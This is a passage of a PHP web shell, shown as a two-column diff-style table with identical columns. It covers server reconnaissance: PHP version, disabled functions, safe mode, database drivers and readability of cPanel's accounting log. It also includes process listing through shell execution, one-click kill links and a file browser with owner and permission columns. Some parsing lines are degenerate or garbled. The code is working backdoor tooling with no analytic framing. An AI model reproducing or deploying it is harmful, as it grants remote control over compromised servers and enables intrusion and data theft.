| 3257 | if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "<a href=\"".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."\"><font color=#66ffff>Readable</font></a>"; else echo "Not readable";}else echo "Not found"; | 3257 | if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "<a href=\"".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."\"><font color=#66ffff>Readable</font></a>"; else echo "Not readable";}else echo "Not found"; |
| 3258 | echo "</td></tr>"; | 3258 | echo "</td></tr>"; |
| 3259 | } | 3259 | } |
| 3260 | $uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR'); | 3260 | $uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR'); |
| 3261 | echo " | 3261 | echo " |
| 3262 | <tr><td width=\"25%\" >${mil}PHP\"><font color=yellow>PHP</font></a> version:</td> | 3262 | <tr><td width=\"25%\" >${mil}PHP\"><font color=yellow>PHP</font></a> version:</td> |
| 3263 | <td ><a href=\"?=".php_logo_guid()."\" target=\"_blank\"><font color=yellow>".PHP_VERSION."</font></a> | 3263 | <td ><a href=\"?=".php_logo_guid()."\" target=\"_blank\"><font color=yellow>".PHP_VERSION."</font></a> |
| 3264 | (<a href=\"".$surl."act=phpinfo\"><font color=yellow>more...</font></a>)</td></tr> | 3264 | (<a href=\"".$surl."act=phpinfo\"><font color=yellow>more...</font></a>)</td></tr> |
| 3265 | <tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td> | 3265 | <tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td> |
| 3266 | <td bgcolor=\"#666666\">";if (function_exists('zend_version')) echo "<a href=\"?=".zend_logo_guid()."\" target=\"_blank\"><font color=#66ffff>".zend_version()."</font></a>"; | 3266 | <td bgcolor=\"#666666\">";if (function_exists('zend_version')) echo "<a href=\"?=".zend_logo_guid()."\" target=\"_blank\"><font color=#66ffff>".zend_version()."</font></a>"; |
| 3267 | else echo "Not Found";echo "</td> | 3267 | else echo "Not Found";echo "</td> |
| 3268 | <tr><td width=\"25%\" >Include path:</td> | 3268 | <tr><td width=\"25%\" >Include path:</td> |
| 3269 | <td >".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."</td> | 3269 | <td >".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."</td> |
| 3270 | <tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td> | 3270 | <tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td> |
| 3271 | <td bgcolor=\"#666666\">";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." "; | 3271 | <td bgcolor=\"#666666\">";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." "; |
| 3272 | echo "</td><tr><td width=\"25%\" >Disabled functions:</td><td >"; | 3272 | echo "</td><tr><td width=\"25%\" >Disabled functions:</td><td >"; |
| 3273 | if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"</td></tr> | 3273 | if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"</td></tr> |
| 3274 | <tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">$sfmode</font></td></tr> | 3274 | <tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">$sfmode</font></td></tr> |
| 3275 | <tr><td width=\"25%\" >Open base dir:</td><td >$basedir</td></tr> | 3275 | <tr><td width=\"25%\" >Open base dir:</td><td >$basedir</td></tr> |
| 3276 | <tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td> | 3276 | <tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td> |
| 3277 | <td bgcolor=\"#666666\">";$sq=""; | 3277 | <td bgcolor=\"#666666\">";$sq=""; |
| 3278 | if(function_exists('mysql_connect')) $sq= "${mil}MySQL\"><font color=#66ffff>MySQL</font></a> "; | 3278 | if(function_exists('mysql_connect')) $sq= "${mil}MySQL\"><font color=#66ffff>MySQL</font></a> "; |
| 3279 | if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\"><font color=#66ffff>MSSQL</font></a> "; | 3279 | if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\"><font color=#66ffff>MSSQL</font></a> "; |
| 3280 | if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\"><font color=#66ffff>Oracle</font></a> "; | 3280 | if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\"><font color=#66ffff>Oracle</font></a> "; |
| 3281 | if(function_exists('sqlite_open')) $sq.= " SQLite "; | 3281 | if(function_exists('sqlite_open')) $sq.= " SQLite "; |
| 3282 | if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\"><font color=#66ffff>PostgreSQL</font></a> "; | 3282 | if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\"><font color=#66ffff>PostgreSQL</font></a> "; |
| 3283 | if(function_exists('msql_connect')) $sq.= " mSQL "; | 3283 | if(function_exists('msql_connect')) $sq.= " mSQL "; |
| 3284 | if(function_exists('mysqli_connect'))$sq.= " MySQLi "; | 3284 | if(function_exists('mysqli_connect'))$sq.= " MySQLi "; |
| 3285 | if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL "; | 3285 | if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL "; |
| 3286 | if ($sq=="") $sq= "Nothing"; | 3286 | if ($sq=="") $sq= "Nothing"; |
| 3287 | 3287 | ||
| 3288 | echo "$sq</td></tr>";if (function_exists('curl_init')) echo "<tr><td width=\"25%\" >cURL support:</td><td >Enabled "; | 3288 | echo "$sq</td></tr>";if (function_exists('curl_init')) echo "<tr><td width=\"25%\" >cURL support:</td><td >Enabled "; |
| 3289 | if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo "</td></tr>";echo "</table>"; | 3289 | if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo "</td></tr>";echo "</table>"; |
| 3290 | 3290 | ||
| 3291 | } | 3291 | } |
| 3292 | 3292 | ||
| 3293 | if ($act == "clientinfo") | 3293 | if ($act == "clientinfo") |
| 3294 | { | 3294 | { |
| 3295 | echo "<table><tr><td><b>User information</b>:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">IP:</td><td bgcolor=\"#666666\">".$_SERVER['REMOTE_ADDR']."</td></tr><tr><td width=\"25%\" >Agent:</td><td >".getenv('HTTP_USER_AGENT')."</td></tr></table>"; | 3295 | echo "<table><tr><td><b>User information</b>:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">IP:</td><td bgcolor=\"#666666\">".$_SERVER['REMOTE_ADDR']."</td></tr><tr><td width=\"25%\" >Agent:</td><td >".getenv('HTTP_USER_AGENT')."</td></tr></table>"; |
| 3296 | } | 3296 | } |
| 3297 | 3297 | ||
| 3298 | if ($act == "processes") | 3298 | if ($act == "processes") |
| 3299 | 3299 | ||
| 3300 | { | 3300 | { |
| 3301 | 3301 | ||
| 3302 | echo "<b>Processes:</b><br>"; | 3302 | echo "<b>Processes:</b><br>"; |
| 3303 | 3303 | ||
| 3304 | if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} | 3304 | if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} |
| 3305 | 3305 | ||
| 3306 | else {$handler = "tasklist";} | 3306 | else {$handler = "tasklist";} |
| 3307 | 3307 | ||
| 3308 | $ret = myshellexec($handler); | 3308 | $ret = myshellexec($handler); |
| 3309 | 3309 | ||
| 3310 | if (!$ret) {echo "Can't execute \"".$handler."\"!";} | 3310 | if (!$ret) {echo "Can't execute \"".$handler."\"!";} |
| 3311 | 3311 | ||
| 3312 | else | 3312 | else |
| 3313 | 3313 | ||
| 3314 | { | 3314 | { |
| 3315 | 3315 | ||
| 3316 | if (empty($processes_sort)) {$processes_sort = $sort_default;} | 3316 | if (empty($processes_sort)) {$processes_sort = $sort_default;} |
| 3317 | 3317 | ||
| 3318 | $parsesort = parsesort($processes_sort); | 3318 | $parsesort = parsesort($processes_sort); |
| 3319 | 3319 | ||
| 3320 | if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} | 3320 | if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} |
| 3321 | 3321 | ||
| 3322 | $k = $parsesort[0]; | 3322 | $k = $parsesort[0]; |
| 3323 | 3323 | ||
| 3324 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | 3324 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
| 3325 | 3325 | ||
| 3326 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | 3326 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
| 3327 | 3327 | ||
| 3328 | $ret = htmlspecialchars($ret); | 3328 | $ret = htmlspecialchars($ret); |
| 3329 | 3329 | ||
| 3330 | if (!$win) | 3330 | if (!$win) |
| 3331 | 3331 | ||
| 3332 | { | 3332 | { |
| 3333 | 3333 | ||
| 3334 | if ($pid) | 3334 | if ($pid) |
| 3335 | 3335 | ||
| 3336 | { | 3336 | { |
| 3337 | 3337 | ||
| 3338 | if (is_null($sig)) {$sig = 9;} | 3338 | if (is_null($sig)) {$sig = 9;} |
| 3339 | 3339 | ||
| 3340 | echo "Sending signal ".$sig." to #".$pid."... "; | 3340 | echo "Sending signal ".$sig." to #".$pid."... "; |
| 3341 | 3341 | ||
| 3342 | if (posix_kill($pid,$sig)) {echo "OK.";} | 3342 | if (posix_kill($pid,$sig)) {echo "OK.";} |
| 3343 | 3343 | ||
| 3344 | else {echo "ERROR.";} | 3344 | else {echo "ERROR.";} |
| 3345 | 3345 | ||
| 3346 | } | 3346 | } |
| 3347 | 3347 | ||
| 3348 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | 3348 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} |
| 3349 | 3349 | ||
| 3350 | $stack = explode("\n",$ret); | 3350 | $stack = explode("\n",$ret); |
| 3351 | 3351 | ||
| 3352 | $head = explode(" ",$stack[0]); | 3352 | $head = explode(" ",$stack[0]); |
| 3353 | 3353 | ||
| 3354 | unset($stack[0]); | 3354 | unset($stack[0]); |
| 3355 | 3355 | ||
| 3356 | for($i=0;$i<count($head);$i++) | 3356 | for($i=0;$i<count($head);$i++) |
| 3357 | 3357 | ||
| 3358 | { | 3358 | { |
| 3359 | 3359 | ||
| 3360 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} | 3360 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} |
| 3361 | 3361 | ||
| 3362 | } | 3362 | } |
| 3363 | 3363 | ||
| 3364 | $prcs = array(); | 3364 | $prcs = array(); |
| 3365 | 3365 | ||
| 3366 | foreach ($stack as $line) | 3366 | foreach ($stack as $line) |
| 3367 | 3367 | ||
| 3368 | { | 3368 | { |
| 3369 | 3369 | ||
| 3370 | if (!empty($line)) | 3370 | if (!empty($line)) |
| 3371 | 3371 | ||
| 3372 | { | 3372 | { |
| 3373 | 3373 | ||
| 3374 | echo "<tr>"; | 3374 | echo "<tr>"; |
| 3375 | 3375 | ||
| 3376 | $line = explode(" ",$line); | 3376 | $line = explode(" ",$line); |
| 3377 | 3377 | ||
| 3378 | $line[10] = join(" ",array_slice($line,10)); | 3378 | $line[10] = join(" ",array_slice($line,10)); |
| 3379 | 3379 | ||
| 3380 | $line = array_slice($line,0,11); | 3380 | $line = array_slice($line,0,11); |
| 3381 | 3381 | ||
| 3382 | if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} | 3382 | if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} |
| 3383 | 3383 | ||
| 3384 | $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; | 3384 | $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; |
| 3385 | 3385 | ||
| 3386 | $prcs[] = $line; | 3386 | $prcs[] = $line; |
| 3387 | 3387 | ||
| 3388 | echo "</tr>"; | 3388 | echo "</tr>"; |
| 3389 | 3389 | ||
| 3390 | } | 3390 | } |
| 3391 | 3391 | ||
| 3392 | } | 3392 | } |
| 3393 | 3393 | ||
| 3394 | } | 3394 | } |
| 3395 | 3395 | ||
| 3396 | else | 3396 | else |
| 3397 | 3397 | ||
| 3398 | { | 3398 | { |
| 3399 | 3399 | ||
| 3400 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 3400 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 3401 | 3401 | ||
| 3402 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 3402 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 3403 | 3403 | ||
| 3404 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 3404 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 3405 | 3405 | ||
| 3406 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 3406 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 3407 | 3407 | ||
| 3408 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 3408 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 3409 | 3409 | ||
| 3410 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 3410 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 3411 | 3411 | ||
| 3412 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 3412 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 3413 | 3413 | ||
| 3414 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 3414 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 3415 | 3415 | ||
| 3416 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 3416 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 3417 | 3417 | ||
| 3418 | while (ereg("",$ret)) {$ret = str_replace("","",$ret);} | 3418 | while (ereg("",$ret)) {$ret = str_replace("","",$ret);} |
| 3419 | 3419 | ||
| 3420 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 3420 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 3421 | 3421 | ||
| 3422 | $ret = convert_cyr_string($ret,"d","w"); | 3422 | $ret = convert_cyr_string($ret,"d","w"); |
| 3423 | 3423 | ||
| 3424 | $stack = explode("\n",$ret); | 3424 | $stack = explode("\n",$ret); |
| 3425 | 3425 | ||
| 3426 | unset($stack[0],$stack[2]); | 3426 | unset($stack[0],$stack[2]); |
| 3427 | 3427 | ||
| 3428 | $stack = array_values($stack); | 3428 | $stack = array_values($stack); |
| 3429 | 3429 | ||
| 3430 | $head = explode("",$stack[0]); | 3430 | $head = explode("",$stack[0]); |
| 3431 | 3431 | ||
| 3432 | $head[1] = explode(" ",$head[1]); | 3432 | $head[1] = explode(" ",$head[1]); |
| 3433 | 3433 | ||
| 3434 | $head[1] = $head[1][0]; | 3434 | $head[1] = $head[1][0]; |
| 3435 | 3435 | ||
| 3436 | $stack = array_slice($stack,1); | 3436 | $stack = array_slice($stack,1); |
| 3437 | 3437 | ||
| 3438 | unset($head[2]); | 3438 | unset($head[2]); |
| 3439 | 3439 | ||
| 3440 | $head = array_values($head); | 3440 | $head = array_values($head); |
| 3441 | 3441 | ||
| 3442 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | 3442 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
| 3443 | 3443 | ||
| 3444 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | 3444 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
| 3445 | 3445 | ||
| 3446 | if ($k > count($head)) {$k = count($head)-1;} | 3446 | if ($k > count($head)) {$k = count($head)-1;} |
| 3447 | 3447 | ||
| 3448 | for($i=0;$i<count($head);$i++) | 3448 | for($i=0;$i<count($head);$i++) |
| 3449 | 3449 | ||
| 3450 | { | 3450 | { |
| 3451 | 3451 | ||
| 3452 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} | 3452 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} |
| 3453 | 3453 | ||
| 3454 | } | 3454 | } |
| 3455 | 3455 | ||
| 3456 | $prcs = array(); | 3456 | $prcs = array(); |
| 3457 | 3457 | ||
| 3458 | foreach ($stack as $line) | 3458 | foreach ($stack as $line) |
| 3459 | 3459 | ||
| 3460 | { | 3460 | { |
| 3461 | 3461 | ||
| 3462 | if (!empty($line)) | 3462 | if (!empty($line)) |
| 3463 | 3463 | ||
| 3464 | { | 3464 | { |
| 3465 | 3465 | ||
| 3466 | echo "<tr>"; | 3466 | echo "<tr>"; |
| 3467 | 3467 | ||
| 3468 | $line = explode("",$line); | 3468 | $line = explode("",$line); |
| 3469 | 3469 | ||
| 3470 | $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); | 3470 | $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); |
| 3471 | 3471 | ||
| 3472 | $line[2] = intval(str_replace(" ","",$line[2]))*1024; | 3472 | $line[2] = intval(str_replace(" ","",$line[2]))*1024; |
| 3473 | 3473 | ||
| 3474 | $prcs[] = $line; | 3474 | $prcs[] = $line; |
| 3475 | 3475 | ||
| 3476 | echo "</tr>"; | 3476 | echo "</tr>"; |
| 3477 | 3477 | ||
| 3478 | } | 3478 | } |
| 3479 | 3479 | ||
| 3480 | } | 3480 | } |
| 3481 | 3481 | ||
| 3482 | } | 3482 | } |
| 3483 | 3483 | ||
| 3484 | $head[$k] = "<b>".$head[$k]."</b>".$y; | 3484 | $head[$k] = "<b>".$head[$k]."</b>".$y; |
| 3485 | 3485 | ||
| 3486 | $v = $processes_sort[0]; | 3486 | $v = $processes_sort[0]; |
| 3487 | 3487 | ||
| 3488 | usort($prcs,"tabsort"); | 3488 | usort($prcs,"tabsort"); |
| 3489 | 3489 | ||
| 3490 | if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} | 3490 | if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} |
| 3491 | 3491 | ||
| 3492 | $tab = array(); | 3492 | $tab = array(); |
| 3493 | 3493 | ||
| 3494 | $tab[] = $head; | 3494 | $tab[] = $head; |
| 3495 | 3495 | ||
| 3496 | $tab = array_merge($tab,$prcs); | 3496 | $tab = array_merge($tab,$prcs); |
| 3497 | 3497 | ||
| 3498 | echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; | 3498 | echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#15354c borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; |
| 3499 | 3499 | ||
| 3500 | foreach($tab as $i=>$k) | 3500 | foreach($tab as $i=>$k) |
| 3501 | 3501 | ||
| 3502 | { | 3502 | { |
| 3503 | 3503 | ||
| 3504 | echo "<tr>"; | 3504 | echo "<tr>"; |
| 3505 | 3505 | ||
| 3506 | foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} | 3506 | foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} |
| 3507 | 3507 | ||
| 3508 | echo "</tr>"; | 3508 | echo "</tr>"; |
| 3509 | 3509 | ||
| 3510 | } | 3510 | } |
| 3511 | 3511 | ||
| 3512 | echo "</table>"; | 3512 | echo "</table>"; |
| 3513 | 3513 | ||
| 3514 | } | 3514 | } |
| 3515 | 3515 | ||
| 3516 | } | 3516 | } |
| 3517 | 3517 | ||
| 3518 | if ($act == "ls") | 3518 | if ($act == "ls") |
| 3519 | { | 3519 | { |
| 3520 | if (count($ls_arr) > 0) {$list = $ls_arr;} | 3520 | if (count($ls_arr) > 0) {$list = $ls_arr;} |
| 3521 | else | 3521 | else |
| 3522 | { | 3522 | { |
| 3523 | 3523 | ||
| 3524 | $list = array(); | 3524 | $list = array(); |
| 3525 | 3525 | ||
| 3526 | if ($h = @opendir($d)) | 3526 | if ($h = @opendir($d)) |
| 3527 | 3527 | ||
| 3528 | { | 3528 | { |
| 3529 | 3529 | ||
| 3530 | while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} | 3530 | while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} |
| 3531 | 3531 | ||
| 3532 | closedir($h); | 3532 | closedir($h); |
| 3533 | 3533 | ||
| 3534 | } | 3534 | } |
| 3535 | 3535 | ||
| 3536 | else {} | 3536 | else {} |
| 3537 | 3537 | ||
| 3538 | } | 3538 | } |
| 3539 | 3539 | ||
| 3540 | if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} | 3540 | if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} |
| 3541 | else | 3541 | else |
| 3542 | { | 3542 | { |
| 3543 | 3543 | ||
| 3544 | //Building array | 3544 | //Building array |
| 3545 | 3545 | ||
| 3546 | $objects = array(); | 3546 | $objects = array(); |
| 3547 | 3547 | ||
| 3548 | $vd = "f"; //Viewing mode | 3548 | $vd = "f"; //Viewing mode |
| 3549 | 3549 | ||
| 3550 | if ($vd == "f") | 3550 | if ($vd == "f") |
| 3551 | 3551 | ||
| 3552 | { | 3552 | { |
| 3553 | 3553 | ||
| 3554 | $objects["head"] = array(); | 3554 | $objects["head"] = array(); |
| 3555 | 3555 | ||
| 3556 | $objects["folders"] = array(); | 3556 | $objects["folders"] = array(); |
| 3557 | 3557 | ||
| 3558 | $objects["links"] = array(); | 3558 | $objects["links"] = array(); |
| 3559 | 3559 | ||
| 3560 | $objects["files"] = array(); | 3560 | $objects["files"] = array(); |
| 3561 | 3561 | ||
| 3562 | foreach ($list as $v) | 3562 | foreach ($list as $v) |
| 3563 | 3563 | ||
| 3564 | { | 3564 | { |
| 3565 | 3565 | ||
| 3566 | $o = basename($v); | 3566 | $o = basename($v); |
| 3567 | 3567 | ||
| 3568 | $row = array(); | 3568 | $row = array(); |
| 3569 | 3569 | ||
| 3570 | if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} | 3570 | if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} |
| 3571 | 3571 | ||
| 3572 | elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} | 3572 | elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} |
| 3573 | 3573 | ||
| 3574 | elseif (is_dir($v)) | 3574 | elseif (is_dir($v)) |
| 3575 | 3575 | ||
| 3576 | { | 3576 | { |
| 3577 | 3577 | ||
| 3578 | if (is_link($v)) {$type = "LINK";} | 3578 | if (is_link($v)) {$type = "LINK";} |
| 3579 | 3579 | ||
| 3580 | else {$type = "DIR";} | 3580 | else {$type = "DIR";} |
| 3581 | 3581 | ||
| 3582 | $row[] = $v; | 3582 | $row[] = $v; |
| 3583 | 3583 | ||
| 3584 | $row[] = $type; | 3584 | $row[] = $type; |
| 3585 | 3585 | ||
| 3586 | } | 3586 | } |
| 3587 | 3587 | ||
| 3588 | elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} | 3588 | elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} |
| 3589 | 3589 | ||
| 3590 | $row[] = filemtime($v); | 3590 | $row[] = filemtime($v); |
| 3591 | 3591 | ||
| 3592 | if (!$win) | 3592 | if (!$win) |
| 3593 | 3593 | ||
| 3594 | { | 3594 | { |
| 3595 | 3595 | ||
| 3596 | $ow = posix_getpwuid(fileowner($v)); | 3596 | $ow = posix_getpwuid(fileowner($v)); |
| 3597 | 3597 | ||
| 3598 | $gr = posix_getgrgid(filegroup($v)); | 3598 | $gr = posix_getgrgid(filegroup($v)); |
| 3599 | 3599 | ||
| 3600 | $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); | 3600 | $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); |
| 3601 | 3601 | ||
| 3602 | } | 3602 | } |
| 3603 | 3603 | ||
| 3604 | $row[] = fileperms($v); | 3604 | $row[] = fileperms($v); |
| 3605 | 3605 | ||
| 3606 | if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} | 3606 | if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} |
| 3607 | 3607 | ||
| 3608 | elseif (is_link($v)) {$objects["links"][] = $row;} | 3608 | elseif (is_link($v)) {$objects["links"][] = $row;} |
| 3609 | 3609 | ||
| 3610 | elseif (is_dir($v)) {$objects["folders"][] = $row;} | 3610 | elseif (is_dir($v)) {$objects["folders"][] = $row;} |
| 3611 | 3611 | ||
| 3612 | elseif (is_file($v)) {$objects["files"][] = $row;} | 3612 | elseif (is_file($v)) {$objects["files"][] = $row;} |
| 3613 | 3613 | ||
| 3614 | $i++; | 3614 | $i++; |
| 3615 | 3615 | ||
| 3616 | } | 3616 | } |
| 3617 | 3617 | ||
| 3618 | $row = array(); | 3618 | $row = array(); |
| 3619 | 3619 | ||
| 3620 | $row[] = "<b>Name</b>"; | 3620 | $row[] = "<b>Name</b>"; |
| 3621 | 3621 | ||
| 3622 | $row[] = "<b>Size</b>"; | 3622 | $row[] = "<b>Size</b>"; |
| 3623 | 3623 | ||
| 3624 | $row[] = "<b>Modify</b>"; | 3624 | $row[] = "<b>Modify</b>"; |
| 3625 | 3625 | ||
| 3626 | if (!$win) | 3626 | if (!$win) |
| 3627 | 3627 | ||
| 3628 | {$row[] = "<b>Owner/Group</b>";} | 3628 | {$row[] = "<b>Owner/Group</b>";} |
| 3629 | 3629 | ||
| 3630 | $row[] = "<b>Perms</b>"; | 3630 | $row[] = "<b>Perms</b>"; |
| 3631 | 3631 | ||
| 3632 | $row[] = "<b>Action</b>"; | 3632 | $row[] = "<b>Action</b>"; |
| 3633 | 3633 | ||
| 3634 | $parsesort = parsesort($sort); | 3634 | $parsesort = parsesort($sort); |
| 3635 | 3635 | ||
| 3636 | $sort = $parsesort[0].$parsesort[1]; | 3636 | $sort = $parsesort[0].$parsesort[1]; |
| 3637 | 3637 | ||
| 3638 | $k = $parsesort[0]; | 3638 | $k = $parsesort[0]; |
| 3639 | 3639 | ||
| 3640 | if ($parsesort[1] != "a") {$parsesort[1] = "d";} | 3640 | if ($parsesort[1] != "a") {$parsesort[1] = "d";} |
| 3641 | 3641 | ||
| 3642 | $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; | 3642 | $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; |
| 3643 | 3643 | ||
| 3644 | $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; | 3644 | $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; |
